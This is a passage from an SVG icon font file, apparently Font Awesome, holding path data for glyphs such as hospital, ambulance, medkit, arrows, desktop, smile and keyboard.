M1152 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M1152 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M1152 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M896 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M896 -128h384v1536h-1152v-1536h384v224q0 13 9.5 22.5t22.5 9.5h320q13 0 22.5 -9.5t9.5 -22.5v-224zM1408 1472v-1664q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v1664q0 26 19 45t45 19h1280q26 0 45 -19t19 -45z" />
    <glyph glyph-name="hospital" unicode="&#xf0f8;" horiz-adv-x="1408" 
d="M384 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M1152 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M896 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M896 -128h384v1152h-256v-32q0 -40 -28 -68t-68 -28h-448q-40 0 -68 28t-28 68v32h-256v-1152h384v224q0 13 9.5 22.5t22.5 9.5h320q13 0 22.5 -9.5t9.5 -22.5v-224zM896 1056v320q0 13 -9.5 22.5t-22.5 9.5h-64q-13 0 -22.5 -9.5t-9.5 -22.5v-96h-128v96q0 13 -9.5 22.5
t-22.5 9.5h-64q-13 0 -22.5 -9.5t-9.5 -22.5v-320q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5v96h128v-96q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5zM1408 1088v-1280q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v1280q0 26 19 45t45 19h320
v288q0 40 28 68t68 28h448q40 0 68 -28t28 -68v-288h320q26 0 45 -19t19 -45z" />
    <glyph glyph-name="ambulance" unicode="&#xf0f9;" horiz-adv-x="1920" 
d="M640 128q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM256 640h384v256h-158q-14 -2 -22 -9l-195 -195q-7 -12 -9 -22v-30zM1536 128q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5
t90.5 37.5t37.5 90.5zM1664 800v192q0 14 -9 23t-23 9h-224v224q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-224h-224q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h224v-224q0 -14 9 -23t23 -9h192q14 0 23 9t9 23v224h224q14 0 23 9t9 23zM1920 1344v-1152
q0 -26 -19 -45t-45 -19h-192q0 -106 -75 -181t-181 -75t-181 75t-75 181h-384q0 -106 -75 -181t-181 -75t-181 75t-75 181h-128q-26 0 -45 19t-19 45t19 45t45 19v416q0 26 13 58t32 51l198 198q19 19 51 32t58 13h160v320q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
    <glyph glyph-name="medkit" unicode="&#xf0fa;" horiz-adv-x="1792" 
d="M1280 416v192q0 14 -9 23t-23 9h-224v224q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-224h-224q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h224v-224q0 -14 9 -23t23 -9h192q14 0 23 9t9 23v224h224q14 0 23 9t9 23zM640 1152h512v128h-512v-128zM256 1152v-1280h-32
q-92 0 -158 66t-66 158v832q0 92 66 158t158 66h32zM1440 1152v-1280h-1088v1280h160v160q0 40 28 68t68 28h576q40 0 68 -28t28 -68v-160h160zM1792 928v-832q0 -92 -66 -158t-158 -66h-32v1280h32q92 0 158 -66t66 -158z" />
    <glyph glyph-name="fighter_jet" unicode="&#xf0fb;" horiz-adv-x="1920" 
d="M1920 576q-1 -32 -288 -96l-352 -32l-224 -64h-64l-293 -352h69q26 0 45 -4.5t19 -11.5t-19 -11.5t-45 -4.5h-96h-160h-64v32h64v416h-160l-192 -224h-96l-32 32v192h32v32h128v8l-192 24v128l192 24v8h-128v32h-32v192l32 32h96l192 -224h160v416h-64v32h64h160h96
q26 0 45 -4.5t19 -11.5t-19 -11.5t-45 -4.5h-69l293 -352h64l224 -64l352 -32q128 -28 200 -52t80 -34z" />
    <glyph glyph-name="beer" unicode="&#xf0fc;" horiz-adv-x="1664" 
d="M640 640v384h-256v-256q0 -53 37.5 -90.5t90.5 -37.5h128zM1664 192v-192h-1152v192l128 192h-128q-159 0 -271.5 112.5t-112.5 271.5v320l-64 64l32 128h480l32 128h960l32 -192l-64 -32v-800z" />
    <glyph glyph-name="h_sign" unicode="&#xf0fd;" 
d="M1280 192v896q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-320h-512v320q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-896q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v320h512v-320q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="f0fe" unicode="&#xf0fe;" 
d="M1280 576v128q0 26 -19 45t-45 19h-320v320q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-320h-320q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h320v-320q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v320h320q26 0 45 19t19 45zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="double_angle_left" unicode="&#xf100;" horiz-adv-x="1024" 
d="M627 160q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23t-10 -23l-393 -393l393 -393q10 -10 10 -23zM1011 160q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23
t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23t-10 -23l-393 -393l393 -393q10 -10 10 -23z" />
    <glyph glyph-name="double_angle_right" unicode="&#xf101;" horiz-adv-x="1024" 
d="M595 576q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23zM979 576q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23
l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
    <glyph glyph-name="double_angle_up" unicode="&#xf102;" horiz-adv-x="1152" 
d="M1075 224q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-393 393l-393 -393q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l466 -466q10 -10 10 -23zM1075 608q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-393 393l-393 -393
q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
    <glyph glyph-name="double_angle_down" unicode="&#xf103;" horiz-adv-x="1152" 
d="M1075 672q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l393 -393l393 393q10 10 23 10t23 -10l50 -50q10 -10 10 -23zM1075 1056q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23
t10 23l50 50q10 10 23 10t23 -10l393 -393l393 393q10 10 23 10t23 -10l50 -50q10 -10 10 -23z" />
    <glyph glyph-name="angle_left" unicode="&#xf104;" horiz-adv-x="640" 
d="M627 992q0 -13 -10 -23l-393 -393l393 -393q10 -10 10 -23t-10 -23l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23z" />
    <glyph glyph-name="angle_right" unicode="&#xf105;" horiz-adv-x="640" 
d="M595 576q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
    <glyph glyph-name="angle_up" unicode="&#xf106;" horiz-adv-x="1152" 
d="M1075 352q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-393 393l-393 -393q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
    <glyph glyph-name="angle_down" unicode="&#xf107;" horiz-adv-x="1152" 
d="M1075 800q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l393 -393l393 393q10 10 23 10t23 -10l50 -50q10 -10 10 -23z" />
    <glyph glyph-name="desktop" unicode="&#xf108;" horiz-adv-x="1920" 
d="M1792 544v832q0 13 -9.5 22.5t-22.5 9.5h-1600q-13 0 -22.5 -9.5t-9.5 -22.5v-832q0 -13 9.5 -22.5t22.5 -9.5h1600q13 0 22.5 9.5t9.5 22.5zM1920 1376v-1088q0 -66 -47 -113t-113 -47h-544q0 -37 16 -77.5t32 -71t16 -43.5q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19
t-19 45q0 14 16 44t32 70t16 78h-544q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
    <glyph glyph-name="laptop" unicode="&#xf109;" horiz-adv-x="1920" 
d="M416 256q-66 0 -113 47t-47 113v704q0 66 47 113t113 47h1088q66 0 113 -47t47 -113v-704q0 -66 -47 -113t-113 -47h-1088zM384 1120v-704q0 -13 9.5 -22.5t22.5 -9.5h1088q13 0 22.5 9.5t9.5 22.5v704q0 13 -9.5 22.5t-22.5 9.5h-1088q-13 0 -22.5 -9.5t-9.5 -22.5z
M1760 192h160v-96q0 -40 -47 -68t-113 -28h-1600q-66 0 -113 28t-47 68v96h160h1600zM1040 96q16 0 16 16t-16 16h-160q-16 0 -16 -16t16 -16h160z" />
    <glyph glyph-name="tablet" unicode="&#xf10a;" horiz-adv-x="1152" 
d="M640 128q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1024 288v960q0 13 -9.5 22.5t-22.5 9.5h-832q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h832q13 0 22.5 9.5t9.5 22.5zM1152 1248v-1088q0 -66 -47 -113t-113 -47h-832
q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h832q66 0 113 -47t47 -113z" />
    <glyph glyph-name="mobile_phone" unicode="&#xf10b;" horiz-adv-x="768" 
d="M464 128q0 33 -23.5 56.5t-56.5 23.5t-56.5 -23.5t-23.5 -56.5t23.5 -56.5t56.5 -23.5t56.5 23.5t23.5 56.5zM672 288v704q0 13 -9.5 22.5t-22.5 9.5h-512q-13 0 -22.5 -9.5t-9.5 -22.5v-704q0 -13 9.5 -22.5t22.5 -9.5h512q13 0 22.5 9.5t9.5 22.5zM480 1136
q0 16 -16 16h-160q-16 0 -16 -16t16 -16h160q16 0 16 16zM768 1152v-1024q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v1024q0 52 38 90t90 38h512q52 0 90 -38t38 -90z" />
    <glyph glyph-name="circle_blank" unicode="&#xf10c;" 
d="M768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103
t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="quote_left" unicode="&#xf10d;" horiz-adv-x="1664" 
d="M768 576v-384q0 -80 -56 -136t-136 -56h-384q-80 0 -136 56t-56 136v704q0 104 40.5 198.5t109.5 163.5t163.5 109.5t198.5 40.5h64q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-64q-106 0 -181 -75t-75 -181v-32q0 -40 28 -68t68 -28h224q80 0 136 -56t56 -136z
M1664 576v-384q0 -80 -56 -136t-136 -56h-384q-80 0 -136 56t-56 136v704q0 104 40.5 198.5t109.5 163.5t163.5 109.5t198.5 40.5h64q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-64q-106 0 -181 -75t-75 -181v-32q0 -40 28 -68t68 -28h224q80 0 136 -56t56 -136z" />
    <glyph glyph-name="quote_right" unicode="&#xf10e;" horiz-adv-x="1664" 
d="M768 1216v-704q0 -104 -40.5 -198.5t-109.5 -163.5t-163.5 -109.5t-198.5 -40.5h-64q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h64q106 0 181 75t75 181v32q0 40 -28 68t-68 28h-224q-80 0 -136 56t-56 136v384q0 80 56 136t136 56h384q80 0 136 -56t56 -136zM1664 1216
v-704q0 -104 -40.5 -198.5t-109.5 -163.5t-163.5 -109.5t-198.5 -40.5h-64q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h64q106 0 181 75t75 181v32q0 40 -28 68t-68 28h-224q-80 0 -136 56t-56 136v384q0 80 56 136t136 56h384q80 0 136 -56t56 -136z" />
    <glyph glyph-name="spinner" unicode="&#xf110;" horiz-adv-x="1792" 
d="M526 142q0 -53 -37.5 -90.5t-90.5 -37.5q-52 0 -90 38t-38 90q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1024 -64q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM320 640q0 -53 -37.5 -90.5t-90.5 -37.5
t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1522 142q0 -52 -38 -90t-90 -38q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM558 1138q0 -66 -47 -113t-113 -47t-113 47t-47 113t47 113t113 47t113 -47t47 -113z
M1728 640q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1088 1344q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1618 1138q0 -93 -66 -158.5t-158 -65.5q-93 0 -158.5 65.5t-65.5 158.5
q0 92 65.5 158t158.5 66q92 0 158 -66t66 -158z" />
    <glyph glyph-name="circle" unicode="&#xf111;" 
d="M1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="reply" unicode="&#xf112;" horiz-adv-x="1792" 
d="M1792 416q0 -166 -127 -451q-3 -7 -10.5 -24t-13.5 -30t-13 -22q-12 -17 -28 -17q-15 0 -23.5 10t-8.5 25q0 9 2.5 26.5t2.5 23.5q5 68 5 123q0 101 -17.5 181t-48.5 138.5t-80 101t-105.5 69.5t-133 42.5t-154 21.5t-175.5 6h-224v-256q0 -26 -19 -45t-45 -19t-45 19
l-512 512q-19 19 -19 45t19 45l512 512q19 19 45 19t45 -19t19 -45v-256h224q713 0 875 -403q53 -134 53 -333z" />
    <glyph glyph-name="github_alt" unicode="&#xf113;" horiz-adv-x="1664" 
d="M640 320q0 -40 -12.5 -82t-43 -76t-72.5 -34t-72.5 34t-43 76t-12.5 82t12.5 82t43 76t72.5 34t72.5 -34t43 -76t12.5 -82zM1280 320q0 -40 -12.5 -82t-43 -76t-72.5 -34t-72.5 34t-43 76t-12.5 82t12.5 82t43 76t72.5 34t72.5 -34t43 -76t12.5 -82zM1440 320
q0 120 -69 204t-187 84q-41 0 -195 -21q-71 -11 -157 -11t-157 11q-152 21 -195 21q-118 0 -187 -84t-69 -204q0 -88 32 -153.5t81 -103t122 -60t140 -29.5t149 -7h168q82 0 149 7t140 29.5t122 60t81 103t32 153.5zM1664 496q0 -207 -61 -331q-38 -77 -105.5 -133t-141 -86
t-170 -47.5t-171.5 -22t-167 -4.5q-78 0 -142 3t-147.5 12.5t-152.5 30t-137 51.5t-121 81t-86 115q-62 123 -62 331q0 237 136 396q-27 82 -27 170q0 116 51 218q108 0 190 -39.5t189 -123.5q147 35 309 35q148 0 280 -32q105 82 187 121t189 39q51 -102 51 -218
q0 -87 -27 -168q136 -160 136 -398z" />
    <glyph glyph-name="folder_close_alt" unicode="&#xf114;" horiz-adv-x="1664" 
d="M1536 224v704q0 40 -28 68t-68 28h-704q-40 0 -68 28t-28 68v64q0 40 -28 68t-68 28h-320q-40 0 -68 -28t-28 -68v-960q0 -40 28 -68t68 -28h1216q40 0 68 28t28 68zM1664 928v-704q0 -92 -66 -158t-158 -66h-1216q-92 0 -158 66t-66 158v960q0 92 66 158t158 66h320
q92 0 158 -66t66 -158v-32h672q92 0 158 -66t66 -158z" />
    <glyph glyph-name="folder_open_alt" unicode="&#xf115;" horiz-adv-x="1920" 
d="M1781 605q0 35 -53 35h-1088q-40 0 -85.5 -21.5t-71.5 -52.5l-294 -363q-18 -24 -18 -40q0 -35 53 -35h1088q40 0 86 22t71 53l294 363q18 22 18 39zM640 768h768v160q0 40 -28 68t-68 28h-576q-40 0 -68 28t-28 68v64q0 40 -28 68t-68 28h-320q-40 0 -68 -28t-28 -68
v-853l256 315q44 53 116 87.5t140 34.5zM1909 605q0 -62 -46 -120l-295 -363q-43 -53 -116 -87.5t-140 -34.5h-1088q-92 0 -158 66t-66 158v960q0 92 66 158t158 66h320q92 0 158 -66t66 -158v-32h544q92 0 158 -66t66 -158v-160h192q54 0 99 -24.5t67 -70.5q15 -32 15 -68z
" />
    <glyph glyph-name="expand_alt" unicode="&#xf116;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="collapse_alt" unicode="&#xf117;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="smile" unicode="&#xf118;" 
d="M1134 461q-37 -121 -138 -195t-228 -74t-228 74t-138 195q-8 25 4 48.5t38 31.5q25 8 48.5 -4t31.5 -38q25 -80 92.5 -129.5t151.5 -49.5t151.5 49.5t92.5 129.5q8 26 32 38t49 4t37 -31.5t4 -48.5zM640 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5
t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1152 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5
t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="frown" unicode="&#xf119;" 
d="M1134 307q8 -25 -4 -48.5t-37 -31.5t-49 4t-32 38q-25 80 -92.5 129.5t-151.5 49.5t-151.5 -49.5t-92.5 -129.5q-8 -26 -31.5 -38t-48.5 -4q-26 8 -38 31.5t-4 48.5q37 121 138 195t228 74t228 -74t138 -195zM640 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5
t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1152 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204
t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="meh" unicode="&#xf11a;" 
d="M1152 448q0 -26 -19 -45t-45 -19h-640q-26 0 -45 19t-19 45t19 45t45 19h640q26 0 45 -19t19 -45zM640 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1152 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5
t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="gamepad" unicode="&#xf11b;" horiz-adv-x="1920" 
d="M832 448v128q0 14 -9 23t-23 9h-192v192q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-192h-192q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h192v-192q0 -14 9 -23t23 -9h128q14 0 23 9t9 23v192h192q14 0 23 9t9 23zM1408 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5
t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1664 640q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1920 512q0 -212 -150 -362t-362 -150q-192 0 -338 128h-220q-146 -128 -338 -128q-212 0 -362 150
t-150 362t150 362t362 150h896q212 0 362 -150t150 -362z" />
    <glyph glyph-name="keyboard" unicode="&#xf11c;" horiz-adv-x="1920" 
d="M384 368v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM512 624v-96q0 -16 -16 -16h-224q-16 0 -16 16v96q0 16 16 16h224q16 0 16 -16zM384 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1408 368v-96q0 -16 -16 -16
h-864q-16 0 -16 16v96q0 16 16 16h864q16 0 16 -16zM768 624v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM640 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1024 624v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16
h96q16 0 16 -16zM896 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1280 624v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1664 368v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1152 880v-96
q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1408 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1664 880v-352q0 -16 -16 -16h-224q-16 0 -16 16v96q0 16 16 16h112v240q0 16 16 16h96q16 0 16 -16zM1792 128v896h-1664v-896
h1664zM1920 1024v-896q0 -53 -37.5 -90.5t-90.5 -37.5h-1664q-53 0 -90.5 37.5t-37.5 90.5v896q0 53 37.5 90.5t90.5 37.5h1664q53 0 90.5 -37.5t37.5 -90.5z" />
    <glyph glyph-name="flag_alt" unicode="&#xf11d;" horiz-adv-x="1792" 
d="M1664 491v616q-169 -91 -306 -91q-82 0 -145 32q-100 49 -184 76.5t-178 27.5q-173 0 -403 -127v-599q245 113 433 113q55 0 103.5 -7.5t98 -26t77 -31t82.5 -39.5l28 -14q44 -22 101 -22q120 0 293 92zM320 1280q0 -35 -17.5 -64t-46.5 -46v-1266q0 -14 -9 -23t-23 -9
h-64q-14 0 -23 9t-9 23v1266q-29 17 -46.5 46t-17.5 64q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1792 1216v-763q0 -39 -35 -57q-10 -5 -17 -9q-218 -116 -369 -116q-88 0 -158 35l-28 14q-64 33 -99 48t-91 29t-114 14q-102 0 -235.5 -44t-228.5 -102
